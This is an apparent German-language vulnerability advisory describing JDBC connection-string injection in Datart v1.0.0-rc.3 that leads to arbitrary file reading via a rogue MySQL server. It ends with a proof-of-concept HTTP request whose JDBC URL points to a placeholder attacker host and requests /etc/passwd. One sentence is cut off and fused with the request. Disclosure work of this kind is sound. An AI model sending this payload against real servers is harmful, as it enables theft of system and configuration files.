
Datart v1.0.0-rc.3 JDBC Connection String Injection führt zum Lesen beliebiger Dateien
Eine Schwachstelle für beliebiges Dateilesen wurde in Datart v1.0.0-rc.3 entdeckt. Die Anwendung validiert die JDBC-Verbindungs-URL während der Datenquellenkonfiguration nicht ordnungsgemäß.
Schwachstellentyp: Unsachgemäße Eingabevalidierung (CWE-20) / Beliebiges Dateilesen Betroffene Version: Datart v1.0.0-rc.3 Schweregrad: Hoch (Potenzial für Offenlegung vertraulicher Informationen)
Die Schwachstelle befindet sich im Datenquellen-Konfigurationsmodul. Die Anwendung bereinigt den url-Parameter in der JDBC-Konfiguration nicht streng. Ein entfernter Angreifer mit Berechtigungen zur Konfiguration von Datenquellen kann bösartige Parameter (insbesondere allowLoadLocalInfile=true) in die JDBC-URL injizieren.
Indem der Angreifer die JDBC-Verbindung auf einen bösartigen MySQL-Server (Rogue MySQL Server) lenkt, den er kontrolliert, kann er den Client dazu bringen, lokale Dateien vom Datart-Server an den Server des Angreifers zu senden.
Eine erfolgreiche Ausnutzung ermöglicht es einem authentifizierten Angreifer, beliebige Dateien aus dem Server-Dateisystem zu lesen (z. B. /etc/passwd, Konfigurationsdateien, Quellcode), was möglicherweise zur Kompromittierung des Servers oder zu weiteren Angriffen führt.
LOAD DATA LOCAL INFILE-Funktion ausnutzen kann (z. B. mit Tools wie rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}